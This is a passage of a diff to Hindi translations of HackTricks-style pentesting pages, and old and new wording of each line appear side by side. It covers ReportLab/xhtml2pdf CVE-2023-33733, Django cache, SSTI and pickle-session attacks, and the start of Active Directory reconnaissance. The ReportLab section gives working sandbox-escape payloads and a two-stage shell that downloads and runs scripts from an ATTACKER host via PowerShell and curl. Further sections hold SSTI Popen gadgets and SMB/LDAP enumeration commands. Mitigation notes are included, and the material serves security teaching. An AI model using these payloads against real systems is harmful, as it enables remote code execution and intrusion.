- इससे getattr(pow, Word('__globals__')) wrapped pow function का globals dict लौटाता है, जिसमें imported os मॉड्यूल शामिल है। फिर: ['os'].system('<cmd>').
|
||||
Sandbox bypass कैसे काम करता है
|
||||
- rl_safe_eval कई builtins (getattr, type, pow, ...) को हटा देता है या बदल देता है और नाम फिल्टरिंग लागू करता है ताकि __ से शुरू होने वाले या denylist में मौजूद attributes को नकार दिया जाए।
|
||||
- हालाँकि, safe functions एक globals dictionary में रहते हैं जो func.__globals__ के रूप में उपलब्ध है।
|
||||
- ReportLab के wrapper को बायपास करने के लिए वास्तविक builtin type फ़ंक्शन को recover करने हेतु type(type(1)) का उपयोग करें, फिर str से व्युत्पन्न एक Word क्लास परिभाषित करें जिसकी तुलना व्यवहार में परिवर्तन किया गया हो ताकि:
|
||||
- .startswith('__') → हमेशा False हो (name startswith('__') चेक बायपास)
|
||||
- .__eq__ केवल पहले comparison पर False लौटाए (denylist membership चेक बायपास) और बाद में True लौटाए (ताकि Python getattr काम करे)
|
||||
- .__hash__ equals hash(str(self))
|
||||
- इसके साथ, getattr(pow, Word('__globals__')) wrapped pow फ़ंक्शन की globals dict लौटाता है, जिसमें एक imported os मॉड्यूल होता है। फिर: ['os'].system('<cmd>').
|
||||
|
||||
न्यूनतम एक्सप्लॉइटेशन पैटर्न (attribute उदाहरण)
|
||||
Payload को एक evaluated attribute के अंदर रखें और सुनिश्चित करें कि यह boolean और 'red' के माध्यम से एक वैध attribute मान लौटाए।
|
||||
न्यूनतम exploitation pattern (attribute उदाहरण)
|
||||
Payload को किसी evaluated attribute के भीतर रखें और सुनिश्चित करें कि यह boolean और 'red' के माध्यम से attribute के लिए एक वैध मान लौटाए।
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||||
exploit
|
||||
</font></para>
|
||||
|
||||
- List-comprehension फॉर्म rl_safe_eval द्वारा स्वीकार्य एक single expression की अनुमति देता है।
|
||||
- अंत में 'and 'red'' एक वैध CSS color लौटाता है ताकि rendering न टूटे।
|
||||
- आवश्यकतानुसार कमांड बदलें; tcpdump के साथ execution को validate करने के लिए ping का उपयोग करें।
|
||||
- list-comprehension फ़ॉर्म एक single expression की अनुमति देता है जो rl_safe_eval द्वारा स्वीकार्य है।
|
||||
- trailing and 'red' एक वैध CSS color लौटाता है ताकि rendering टूटे नहीं।
|
||||
- आवश्यकतानुसार कमांड बदलें; tcpdump के साथ निष्पादन की पुष्टि करने के लिए ping का उपयोग करें।
|
||||
|
||||
ऑपरेशनल वर्कफ़्लो
|
||||
Operational workflow
|
||||
1) PDF generator की पहचान करें
|
||||
- PDF Producer xhtml2pdf दिखाता है; HTTP response में ReportLab comment होता है।
|
||||
2) ऐसा इनपुट खोजें जो PDF में रिफ्लेक्ट हो (उदा., profile bio/description) और export ट्रिगर करें।
|
||||
3) कम-शोर (low-noise) ICMP के साथ निष्पादन सत्यापित करें
|
||||
- Run: sudo tcpdump -ni <iface> icmp
|
||||
- PDF Producer में xhtml2pdf दिखता है; HTTP response में ReportLab टिप्पणी होती है।
|
||||
2) किसी ऐसे इनपुट को खोजें जो PDF में प्रतिबिंबित हो (उदा., profile bio/description) और export ट्रिगर करें।
|
||||
3) low-noise ICMP के साथ execution सत्यापित करें
|
||||
- चलाएँ: sudo tcpdump -ni <iface> icmp
|
||||
- Payload: ... system('ping <your_ip>') ...
|
||||
- Windows अक्सर डिफ़ॉल्ट रूप से ठीक चार echo requests भेजता है।
|
||||
4) शेल स्थापित करें
|
||||
- Windows के लिए, एक विश्वसनीय two-stage तरीका quoting/encoding समस्याओं से बचता है:
|
||||
- Stage 1 (डाउनलोड):
|
||||
- Windows अक्सर डिफ़ॉल्ट रूप से बिल्कुल चार echo requests भेजता है।
|
||||
4) एक shell स्थापित करें
|
||||
- Windows के लिए, एक विश्वसनीय two-stage approach quoting/encoding समस्याओं से बचती है:
|
||||
- Stage 1 (download):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Stage 2 (निष्पादन):
|
||||
- Stage 2 (execute):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Linux लक्ष्यों के लिए, curl/wget के साथ समान two-stage संभव है:
|
||||
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||||
|
||||
नोट्स और टिप्स
|
||||
- Attribute संदर्भ: color एक ज्ञात evaluated attribute है; ReportLab मार्कअप में अन्य attributes भी expressions मूल्यांकित कर सकते हैं। यदि एक स्थान sanitized है, तो PDF फ्लो में render होने वाले अन्य स्थानों (विभिन्न फ़ील्ड्स, table styles, आदि) को आज़माएँ।
|
||||
- Quoting: कमांड्स को compact रखें। Two-stage डाउनलोड quoting और escaping की समस्याओं को काफी कम कर देते हैं।
|
||||
- Reliability: यदि exports cached या queued हैं, तो caches से बचने के लिए payload को हल्का-सा बदलें (उदा., random path या query)।
|
||||
नोट्स और सुझाव
|
||||
- Attribute contexts: color एक ज्ञात evaluated attribute है; ReportLab मार्कअप में अन्य attributes भी expressions evaluate कर सकते हैं। यदि एक स्थान sanitized है, तो PDF flow में रेंडर किए जाने वाले अन्य स्थानों (विभिन्न फ़ील्ड, table styles, आदि) को आज़माएँ।
|
||||
- Quoting: कमांड को संक्षिप्त रखें। two-stage downloads quoting और escaping समस्याओं को काफी घटा देते हैं।
|
||||
- Reliability: यदि exports cached या queued हैं, तो payload को थोड़ा बदलें (उदा., random path या query) ताकि cache न लगे।
|
||||
|
||||
रोकथाम और पहचान
|
||||
- ReportLab को 3.6.13 या बाद के संस्करण में अपग्रेड करें (CVE-2023-33733 ठीक किया गया है)। distro पैकेजों में भी security advisories को ट्रैक करें।
|
||||
- बिना सख्त sanitization के user-controlled HTML/markup को सीधे xhtml2pdf/ReportLab में न दें। जब इनपुट अनट्रस्टेड हो तो [[[...]]] evaluation constructs और vendor-specific tags को हटाएँ/deny करें।
|
||||
- अनट्रस्टेड इनपुट के लिए rl_safe_eval का उपयोग पूरी तरह से अक्षम करने या उसे wrap करने पर विचार करें।
|
||||
- PDF generation के दौरान संदिग्ध outbound connections की निगरानी करें (उदा., दस्तावेज़ एक्सपोर्ट करते समय app servers से आने वाले ICMP/HTTP)।
|
||||
निवारण और पहचान
|
||||
- ReportLab को 3.6.13 या बाद के वर्शन में अपग्रेड करें (CVE-2023-33733 फिक्स्ड)। वितरण पैकेजों में security advisories को भी ट्रैक करें।
|
||||
- untrusted inputs के लिए xhtml2pdf/ReportLab में user-controlled HTML/markup सीधे न दें बिना कड़ी sanitization के। [[[...]]] evaluation constructs और vendor-specific tags को हटाएँ/निरस्त कर दें जब इनपुट untrusted हो।
|
||||
- untrusted इनपुट के लिए rl_safe_eval के उपयोग को पूरी तरह निष्क्रिय करने या wrap करने पर विचार करें।
|
||||
- PDF generation के दौरान संदिग्ध outbound कनेक्शनों की निगरानी करें (उदा., एक्सपोर्ट करते समय app servers से ICMP/HTTP)।
|
||||
|
||||
संदर्भ
|
||||
- PoC और तकनीकी विश्लेषण: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||||
References
|
||||
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||||
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
- NVD एंट्री (प्रभावित संस्करण): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -3,42 +3,42 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cache Manipulation to RCE
|
||||
Django का डिफ़ॉल्ट cache स्टोरेज तरीका [Python pickles](https://docs.python.org/3/library/pickle.html) है, जो RCE का कारण बन सकता है अगर [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)। **यदि कोई attacker cache पर write access प्राप्त कर लेता है, तो वे इस vulnerability को underlying server पर RCE में escalate कर सकते हैं**।
|
||||
Django का डिफ़ॉल्ट cache स्टोरेज तरीका [Python pickles](https://docs.python.org/3/library/pickle.html) है, जो RCE का कारण बन सकता है अगर [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)। **अगर एक attacker cache पर write access प्राप्त कर लेता है, तो वे इस vulnerability को underlying server पर RCE में escalate कर सकते हैं**।
|
||||
|
||||
Django cache चार जगहों में से किसी एक में स्टोर होता है: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), या एक [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)। Redis server या database में स्टोर किया गया cache सबसे संभावित attack vectors हैं (Redis injection और SQL injection), लेकिन attacker file-based cache का उपयोग करके भी arbitrary write को RCE में बदल सकता है। Maintainers ने इसे non-issue के रूप में mark किया है। ध्यान रहे कि cache file folder, SQL table name, और Redis server details implementation के अनुसार बदलेंगे।
|
||||
Django cache को चार जगहों में से किसी एक में स्टोर किया जाता है: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), या एक [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)। Redis server या database में स्टोर cache सबसे संभावित attack vectors हैं (Redis injection और SQL injection), लेकिन एक attacker file-based cache का उपयोग करके arbitrary write को RCE में बदल सकता है। Maintainers ने इसे non-issue चिह्नित किया है। यह ध्यान में रखना महत्वपूर्ण है कि cache file folder, SQL table name, और Redis server विवरण implementation के आधार पर भिन्न होंगे।
|
||||
|
||||
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Server-Side Template Injection (SSTI)
|
||||
The Django Template Language (DTL) is **Turing-complete**। यदि user-supplied data को *template string* के रूप में render किया जाता है (उदाहरण के लिए `Template(user_input).render()` कॉल करने पर या जब `|safe`/`format_html()` auto-escaping हटाते हैं), तो एक attacker पूर्ण SSTI → RCE हासिल कर सकता है।
|
||||
The Django Template Language (DTL) is **Turing-complete**. अगर user-supplied data को *template string* के रूप में render किया जाता है (उदाहरण के लिए `Template(user_input).render()` को कॉल करके या जब `|safe`/`format_html()` auto-escaping को हटाते हैं), तो एक attacker पूरा SSTI → RCE हासिल कर सकता है।
|
||||
|
||||
### Detection
|
||||
1. ऐसी dynamic calls ढूँढें जो `Template()` / `Engine.from_string()` / `render_to_string()` को कॉल कर रही हों और जिनमें *any* unsanitised request data शामिल हो।
|
||||
2. एक time-based या arithmetic payload भेजें:
|
||||
1. उन dynamic calls को देखें जो `Template()` / `Engine.from_string()` / `render_to_string()` को कॉल करते हैं और जिनमें *कोई भी* बिना sanitize किए हुए request data शामिल हो।
|
||||
2. समय-आधारित या अंकगणितीय payload भेजें:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
यदि rendered output में `49` मौजूद है तो input template engine द्वारा compiled किया जा रहा है।
|
||||
यदि rendered output में `49` दिखाई देता है तो input template engine द्वारा compiled किया जा रहा है।
|
||||
|
||||
### RCE तक पहुँचने का तरीका
|
||||
Django सीधे `__import__` तक access को ब्लॉक करता है, लेकिन Python object graph पहुँच योग्य है:
|
||||
### Primitive to RCE
|
||||
Django सीधे `__import__` तक पहुँच को ब्लॉक करता है, लेकिन Python object graph तक पहुँच संभव है:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
`subprocess.Popen` का इंडेक्स ढूंढें (≈400–500, Python build पर निर्भर) और मनमाने कमांड निष्पादित करें:
|
||||
`subprocess.Popen` का इंडेक्स खोजें (≈400–500, Python build पर निर्भर) और मनमाने कमांड निष्पादित करें:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`.
|
||||
एक अधिक सुरक्षित universal gadget यह है कि `cls.__name__ == 'Popen'` होने तक iterate करें।
|
||||
|
||||
The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input.
|
||||
The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input।
|
||||
|
||||
---
|
||||
|
||||
### Also see: ReportLab/xhtml2pdf PDF export RCE
|
||||
Django पर बने applications आमतौर पर xhtml2pdf/ReportLab को views को PDF के रूप में export करने के लिए integrate करते हैं। जब user-controlled HTML PDF generation में जाता है, rl_safe_eval triple brackets `[[[ ... ]]]` के अंदर expressions को evaluate कर सकता है जिससे code execution संभव हो सकता है (CVE-2023-33733). विवरण, payloads, और mitigations:
|
||||
### यह भी देखें: ReportLab/xhtml2pdf PDF export RCE
|
||||
Django पर बने applications आमतौर पर xhtml2pdf/ReportLab को views को PDF के रूप में export करने के लिए integrate करते हैं। जब उपयोगकर्ता-नियंत्रित HTML PDF generation में चला जाता है, rl_safe_eval त्रि-ब्रैकेट्स `[[[ ... ]]]` के अंदर expressions का मूल्यांकन कर सकता है जिससे code execution संभव हो जाता है (CVE-2023-33733)। विवरण, payloads, और mitigations:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -47,11 +47,11 @@ Django पर बने applications आमतौर पर xhtml2pdf/ReportLab
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
यदि सेटिंग `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` सक्षम है (या कोई custom serializer जो pickle को deserialise करता है), Django *decrypts and unpickles* session cookie को किसी भी view को कॉल करने से **पहले** कर देता है। इसलिए, एक वैध signing key (project `SECRET_KEY` by default) का होना तुरंत remote code execution के लिए पर्याप्त है।
|
||||
यदि सेटिंग `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` सक्षम है (या कोई कस्टम serializer जो pickle को deserialise करता है), Django *decrypts and unpickles* session cookie को किसी भी view code को कॉल करने से **पहले** कर देता है। इसलिए, एक मान्य signing key (परियोजना का `SECRET_KEY` सामान्यतः) का होना तत्काल remote code execution के लिए पर्याप्त है।
|
||||
|
||||
### Exploit Requirements
|
||||
* The server uses `PickleSerializer`.
|
||||
* The attacker knows / can guess `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.).
|
||||
* सर्वर `PickleSerializer` का उपयोग करता है।
|
||||
* हमलावर `settings.SECRET_KEY` जानता है / अनुमान लगा सकता है (leaks via GitHub, `.env`, error pages, etc.)।
|
||||
|
||||
### Proof-of-Concept
|
||||
```python
|
||||
@ -69,19 +69,19 @@ print(f"sessionid={mal}")
|
||||
```
|
||||
Send the resulting cookie, and the payload runs with the permissions of the WSGI worker.
|
||||
|
||||
**रोकथाम**: Keep the default `JSONSerializer`, rotate `SECRET_KEY`, and configure `SESSION_COOKIE_HTTPONLY`.
|
||||
**निवारण**: डिफ़ॉल्ट `JSONSerializer` रखें, `SECRET_KEY` को रोटेट करें, और `SESSION_COOKIE_HTTPONLY` कॉन्फ़िगर करें।
|
||||
|
||||
---
|
||||
|
||||
## हाल के (2023-2025) उच्च-प्रभाव वाले Django CVEs जिन्हें Pentesters को जांचना चाहिए
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). Attackers को log files में newlines/ANSI codes smuggle करने और downstream log analysis को poison करने की अनुमति देता है। Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). JSON keys को craft करके quoting तोड़ने और arbitrary SQL execute करने का मार्ग मिलता है। Fixed in 4.2.15 / 5.0.8.
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). यह हमलावरों को log फ़ाइलों में newlines/ANSI codes छिपाने और downstream log analysis को दूषित करने की अनुमति देता है। Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). JSON keys को रचा जा सकता है ताकि quoting से बाहर निकलकर arbitrary SQL execute किया जा सके। Fixed in 4.2.15 / 5.0.8.
|
||||
|
||||
हमेशा सटीक framework version का fingerprint लें `X-Frame-Options` error page या `/static/admin/css/base.css` hash के माध्यम से और जहाँ लागू हो ऊपर वाले मुद्दों की जाँच करें।
|
||||
हमेशा सटीक framework संस्करण की fingerprinting करें `X-Frame-Options` error page या `/static/admin/css/base.css` hash के माध्यम से और जहाँ लागू हो ऊपर दिए गए मुद्दों का परीक्षण करें।
|
||||
|
||||
---
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
|
||||
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
@ -4,55 +4,55 @@
|
||||
|
||||
## बुनियादी अवलोकन
|
||||
|
||||
**Active Directory** एक मौलिक तकनीक के रूप में काम करता है, जो **नेटवर्क व्यवस्थापकों** को नेटवर्क के भीतर **डोमेन**, **यूज़र्स**, और **ऑब्जेक्ट्स** को प्रभावी ढंग से बनाना और प्रबंधित करना सक्षम बनाता है। इसे स्केल करने के लिए डिजाइन किया गया है, जिससे बड़ी संख्या में उपयोगकर्ताओं को प्रबंधनीय **ग्रुप्स** और **सबग्रुप्स** में व्यवस्थित किया जा सकता है और विभिन्न स्तरों पर **access rights** नियंत्रित किए जा सकते हैं।
|
||||
**Active Directory** एक बुनियादी तकनीक के रूप में कार्य करता है, जो **नेटवर्क प्रशासकों** को नेटवर्क के भीतर **domains**, **users**, और **objects** को कुशलतापूर्वक बनाने और प्रबंधित करने में सक्षम बनाता है। यह स्केलेबल तरीके से डिज़ाइन किया गया है, जिससे बड़ी संख्या में users को प्रबंधनीय **groups** और **subgroups** में व्यवस्थित किया जा सकता है, साथ ही विभिन्न स्तरों पर **access rights** को नियंत्रित किया जा सकता है।
|
||||
|
||||
**Active Directory** की संरचना तीन प्राथमिक परतों से मिलकर बनती है: **domains**, **trees**, और **forests**। एक **domain** ऑब्जेक्ट्स का संग्रह होता है, जैसे **users** या **devices**, जो एक सामान्य database साझा करते हैं। **Trees** ऐसे domains के समूह होते हैं जो साझा संरचना द्वारा जुड़े होते हैं, और एक **forest** कई trees का संग्रह होता है, जो आपस में **trust relationships** के माध्यम से जुड़े होते हैं और संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। प्रत्येक स्तर पर विशिष्ट **access** और **communication rights** निर्दिष्ट किए जा सकते हैं।
|
||||
**Active Directory** की संरचना तीन प्राथमिक परतों से मिलकर बनी होती है: **domains**, **trees**, और **forests**। एक **domain** उन वस्तुओं का संग्रह होता है, जैसे **users** या **devices**, जो एक सामान्य डेटाबेस साझा करते हैं। **Trees** उन domains का समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **forest** कई trees का संग्रह होता है, जो **trust relationships** के माध्यम से इंटरकनेक्टेड होते हैं, और संगठनात्मक संरचना की शीर्ष परत बनाते हैं। विशिष्ट **access** और **communication rights** इनमे से प्रत्येक स्तर पर निर्दिष्ट किए जा सकते हैं।
|
||||
|
||||
Active Directory के महत्वपूर्ण कॉन्सेप्ट्स में शामिल हैं:
|
||||
Active Directory के प्रमुख अवधारणाएँ शामिल हैं:
|
||||
|
||||
1. **Directory** – Active Directory ऑब्जेक्ट्स से संबंधित सभी जानकारी यहाँ संग्रहित रहती है।
|
||||
1. **Directory** – Active Directory objects से संबंधित सभी जानकारी रखता है।
|
||||
2. **Object** – डायरेक्टरी के भीतर की संस्थाएँ, जिनमें **users**, **groups**, या **shared folders** शामिल हैं।
|
||||
3. **Domain** – डायरेक्टरी ऑब्जेक्ट्स के लिए एक कंटेनर; एक **forest** के भीतर कई डोमेन्स हो सकते हैं, और प्रत्येक का अपना ऑब्जेक्ट संग्रह होता है।
|
||||
4. **Tree** – ऐसे डोमेन्स का समूह जो एक साझा root domain साझा करते हैं।
|
||||
5. **Forest** – Active Directory में संगठनात्मक संरचना का शीर्ष स्तर, जिसमें कई trees होते हैं और उनके बीच **trust relationships** होते हैं।
|
||||
3. **Domain** – डायरेक्टरी objects का कंटेनर होता है; एक **forest** के भीतर कई domains सह-अस्तित्व में रह सकते हैं, प्रत्येक का अपना object संग्रह होता है।
|
||||
4. **Tree** – domains का एक समूह जो एक सामान्य root domain साझा करते हैं।
|
||||
5. **Forest** – Active Directory में संगठनात्मक संरचना का शीर्ष स्तर, कई trees से मिलकर और उनके बीच **trust relationships** होते हैं।
|
||||
|
||||
**Active Directory Domain Services (AD DS)** कई सेवाओं का समुच्चय है जो नेटवर्क के केंद्रीकृत प्रबंधन और संचार के लिए महत्वपूर्ण हैं। इनमें शामिल हैं:
|
||||
**Active Directory Domain Services (AD DS)** उन सेवाओं का एक सेट है जो नेटवर्क के केंद्रीकृत प्रबंधन और संचार के लिए महत्वपूर्ण हैं। ये सेवाएँ शामिल हैं:
|
||||
|
||||
1. **Domain Services** – डेटा स्टोरेज को केंद्रीकृत करता है और **users** और **domains** के बीच इंटरैक्शन का प्रबंधन करता है, जिसमें **authentication** और **search** कार्यक्षमताएँ शामिल हैं।
|
||||
1. **Domain Services** – डेटा स्टोरेज को केंद्रीकृत करता है और **users** तथा **domains** के बीच इंटरैक्शन को manages करता है, जिसमें **authentication** और **search** कार्यक्षमताएँ शामिल हैं।
|
||||
2. **Certificate Services** – सुरक्षित **digital certificates** के निर्माण, वितरण और प्रबंधन की देखरेख करता है।
|
||||
3. **Lightweight Directory Services** – **LDAP protocol** के माध्यम से डायरेक्टरी-सक्षम अनुप्रयोगों का समर्थन करता है।
|
||||
4. **Directory Federation Services** – कई वेब अनुप्रयोगों में एकल सत्र में उपयोगकर्ताओं को प्रमाणीकृत करने के लिए **single-sign-on** क्षमताएँ प्रदान करता है।
|
||||
5. **Rights Management** – कॉपीराइट सामग्री की अनधिकृत वितरण और उपयोग को नियंत्रित कर उसकी रक्षा में सहायता करता है।
|
||||
6. **DNS Service** – **domain names** के समाधान के लिए महत्वपूर्ण है।
|
||||
3. **Lightweight Directory Services** – **LDAP protocol** के माध्यम से directory-enabled applications का समर्थन करता है।
|
||||
4. **Directory Federation Services** – एकल सत्र में कई web applications पर उपयोगकर्ताओं को authenticate करने के लिए **single-sign-on** क्षमताएँ प्रदान करता है।
|
||||
5. **Rights Management** – कॉपीराइट सामग्री की अनधिकृत वितरण और उपयोग को नियंत्रित करके उसकी सुरक्षा में मदद करता है।
|
||||
6. **DNS Service** – **domain names** के रिज़ॉल्यूशन के लिए महत्वपूर्ण है।
|
||||
|
||||
For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
अधिक विवरण के लिए देखें: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Kerberos Authentication**
|
||||
|
||||
To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
|
||||
अगर आप किसी AD पर हमला करना सीखना चाहते हैं तो आपको **Kerberos authentication process** को बहुत अच्छी तरह समझना होगा।\
|
||||
[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
|
||||
|
||||
## चीट शीट
|
||||
## Cheat Sheet
|
||||
|
||||
त्वरित दृष्टि के लिए आप [https://wadcoms.github.io/](https://wadcoms.github.io) देख सकते हैं जहाँ से यह पता चलता है कि AD को enumerate/exploit करने के लिए कौन-कौन से कमांड चलाए जा सकते हैं।
|
||||
आप तेजी से देखने के लिए [https://wadcoms.github.io/](https://wadcoms.github.io) का उपयोग कर सकते हैं कि किन commands को आप प्रयोग करके किसी AD को enumerate/exploit कर सकते हैं।
|
||||
|
||||
> [!WARNING]
|
||||
> Kerberos संचार क्रियाएँ करने के लिए पूर्ण योग्यताप्राप्त नाम (FQDN) की आवश्यकता होती है। यदि आप किसी मशीन को IP पते से एक्सेस करने की कोशिश करते हैं, तो यह NTLM का उपयोग करेगा और kerberos का नहीं करेगा।
|
||||
> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
|
||||
|
||||
## Recon Active Directory (No creds/sessions)
|
||||
|
||||
यदि आपके पास केवल AD environment तक पहुँच है लेकिन आपके पास कोई credentials/sessions नहीं हैं तो आप कर सकते हैं:
|
||||
यदि आपके पास किसी AD environment तक पहुँच है लेकिन आपके पास कोई credentials/sessions नहीं हैं तो आप:
|
||||
|
||||
- **Pentest the network:**
|
||||
- नेटवर्क स्कैन करें, मशीनें और ओपन पोर्ट ढूँढें और कोशिश करें कि उन पर मौजूद कमजोरियों का **exploit** करें या उनसे **credentials extract** करें (उदाहरण के लिए, [printers could be very interesting targets](ad-information-in-printers.md)).
|
||||
- DNS को enumerate करने से डोमेन में महत्वपूर्ण सर्वरों के बारे में जानकारी मिल सकती है जैसे वेब, प्रिंटर, shares, vpn, media, आदि।
|
||||
- नेटवर्क को scan करें, machines और open ports खोजें और कोशिश करें कि उनपर मौजूद कमजोरियों को **exploit vulnerabilities** या उनसे **extract credentials** करें (उदाहरण के लिए, [printers could be very interesting targets](ad-information-in-printers.md)).
|
||||
- DNS को enumerate करने से domain के भीतर key servers जैसे web, printers, shares, vpn, media इत्यादि के बारे में जानकारी मिल सकती है।
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- और अधिक जानकारी के लिए General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) देखें कि यह कैसे किया जाता है।
|
||||
- **Check for null and Guest access on smb services** (यह आधुनिक Windows वर्जन्स पर काम नहीं करेगा):
|
||||
- इस बारे में और जानकारी पाने के लिए सामान्य [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) देखें।
|
||||
- **Check for null and Guest access on smb services** (यह modern Windows versions पर काम नहीं करेगा):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- SMB सर्वर को enumerate करने का एक विस्तृत गाइड यहाँ पाया जा सकता है:
|
||||
- SMB server को enumerate करने की अधिक विस्तृत गाइड यहाँ मिल सकती है:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -61,7 +61,7 @@ To learn how to **attack an AD** you need to **understand** really good the **Ke
|
||||
|
||||
- **Enumerate Ldap**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- LDAP को enumerate करने के लिए एक विस्तृत गाइड यहाँ है (विशेष रूप से anonymous access पर ध्यान दें):
|
||||
- LDAP enumerate करने के बारे में अधिक विस्तृत गाइड यहाँ मिलती है (anonymous access पर **विशेष ध्यान** दें):
|
||||
|
||||
|
||||
{{#ref}}
|
